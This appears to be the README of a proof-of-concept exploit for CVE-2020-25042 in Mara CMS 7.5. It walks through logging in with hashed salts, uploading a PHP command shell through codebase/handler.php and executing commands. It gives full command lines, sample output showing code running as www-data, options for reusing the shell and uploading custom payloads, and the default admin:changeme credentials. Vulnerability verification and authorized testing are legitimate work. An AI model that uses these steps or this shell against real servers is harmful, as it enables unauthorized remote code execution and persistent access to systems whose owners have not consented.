CVE-2020-25042-PoC

Proof-of-concept for CVE-2020-25042, an authenticated arbitrary file upload issue in Mara CMS 7.5 that can lead to remote code execution.

The script logs in with a valid Mara CMS admin/manager account, uploads a PHP payload through codebase/handler.php, and executes commands through the uploaded file.

It also reuses an existing shell when possible, so you do not create a new PHP file on every run.

What It Does

1. Checks whether the expected shell already exists and is reusable.
2. If reusable, executes the command directly.
3. If not reusable, loads a CMS page and extracts shash.
4. Requests the login salt with the setsalt action.
5. Computes the Mara CMS login hashes.
6. Authenticates as a valid user.
7. Opens the upload flow at codebase/dir.php?type=filenew.
8. Uploads a PHP command payload through codebase/handler.php.
9. Executes --cmd through the uploaded shell.

Requirements

Python 3.8+

pip install -r requirements.txt

Required Python packages:

requests
urllib3

Quick Start

Values wrapped in angle brackets are placeholders. Replace them with your own values and do not include the < or > characters.

python3 cve_2020_25042.py \
  --url <MARA_CMS_URL> \
  --username <USERNAME> \
  --password '<PASSWORD>' \
  --cmd whoami

Placeholders

<MARA_CMS_URL>  # Target Mara CMS base URL. Example: http://target/cms
<USERNAME>      # Valid Mara CMS admin/manager username.
<PASSWORD>      # Valid Mara CMS admin/manager password.

Full Example

python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --username admin \
  --password changeme \
  --cmd whoami

Example output:

[2026-05-17T23:32:31Z] [*] Checking existing shell: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:31Z] [*] Loading Mara CMS page and collecting session data
[2026-05-17T23:32:31Z] [+] Found shash: 9552
[2026-05-17T23:32:31Z] [*] Requesting login salt
[2026-05-17T23:32:31Z] [+] Got salt: 4253
[2026-05-17T23:32:31Z] [*] Logging in as admin
[2026-05-17T23:32:31Z] [+] Login successful: OK:5
[2026-05-17T23:32:31Z] [*] Opening upload form
[2026-05-17T23:32:32Z] [*] Uploading PHP payload as mara-poc.php
[2026-05-17T23:32:32Z] [+] Upload request completed
[2026-05-17T23:32:32Z] [+] Shell URL: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:32Z] [*] Executing command: whoami

[+] Command output
MARA_CVE_2020_25042_OK
www-data

Reusing an Existing Shell

By default, the script uses a stable shell name:

mara-poc.php

On the next run, it checks:

http://target/cms/img/mara-poc.php

If the shell responds with the expected marker, the script skips login and upload:

python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --cmd "ls -la"

To reuse a shell created with a previous random name:

python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --shell-name mara-poc-jxfizldy.php \
  --cmd whoami

You can also pass the exposed shell path directly:

python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --shell-url-path /cms/img/mara-poc-jxfizldy.php \
  --cmd "ls -la"

Upload Only

Upload the payload without executing a command:

python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --username admin \
  --password changeme \
  --upload-only

Optional Flags

--page <PAGE>
   Existing CMS page used to bootstrap login and extract shash. Default: lorem.php

--shell-name <NAME>
   PHP filename to upload or reuse. Default: mara-poc.php

--shell-url-path <PATH_OR_URL>
   Explicit shell path or URL to reuse.
   Example: /cms/img/mara-poc.php

--payload-file <FILE>
   Upload a custom PHP payload instead of the default ?cmd= shell.

--destdir <DIR>
   Raw destdir value sent in the upload form. Default leaves Mara CMS using img/.

--force-upload
   Always login and upload, even if a reusable shell already exists.

--upload-only
   Upload the payload but do not execute --cmd.

--only-final
   Hide progress logs and print only command output.

--no-color
   Disable ANSI colors.

--debug
   Print request URLs and short handler response snippets.

Notes

• The exploit requires a valid authenticated Mara CMS admin or manager session.
• Default Mara CMS credentials may be admin:changeme on unmodified test installs.
• The default payload prints MARA_CVE_2020_25042_OK before command output.
• The default upload location observed in Mara CMS 7.5 is img/.
• Use shell reuse whenever possible to avoid leaving many PHP files on the target.
• Use --force-upload only when you need to overwrite or recreate the payload.

Legal

This PoC is intended for authorized security testing, lab environments, and vulnerability verification. Do not use it against systems without explicit permission.